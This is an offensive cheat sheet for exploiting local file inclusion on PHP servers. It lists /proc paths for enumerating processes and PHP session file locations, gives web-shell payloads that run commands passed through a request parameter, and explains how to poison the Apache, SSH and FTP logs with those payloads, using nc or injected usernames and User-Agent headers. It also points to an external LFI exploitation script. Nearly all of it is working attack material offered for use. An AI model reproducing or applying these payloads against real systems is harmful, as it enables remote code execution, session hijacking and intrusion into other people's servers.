## ------------------| Identify runnable tasks and copy the PID
/proc/sched_debug
/proc/self/cmdline
## ------------------| Get the location for runnable process and download the file
/proc/<PID>/cmdline
## ------------------| Get linked libs
/proc/<PID>/maps
## ------------------| Get running process
/proc/sched_debug
## ------------------| Basic Payload
<?php phpinfo(); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; ?>
## ------------------| Send for apache
nc <IP> 80
...enter..payload..here!...
## Your session/auth cookies or any type of session information store on
## ------------------| Linux
/tmp/sess_
/var/tmp/sess_
/var/lib/php/sessions/sess_
/proc/self/environ/ ## <-- use for User-Agent: <?=phpinfo(); ?>
/var/log/auth.log ## <-- use ssh '<?php system($_REQUEST['cmd']); ?>'@IP
/var/log/vsftpd.log ## <-- use above payload as username with ftp
var/log/apache2/access.log ## <-- use it from nc(BEST WAY!!) or use it as http://IP/<?php phpinfo(); ?>
## ------------------| Windows
\Windows\TEMP\sess_<session_id>
c:\xampp\apache\logs\access.log&cmd=ipconfig
# Download this script
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py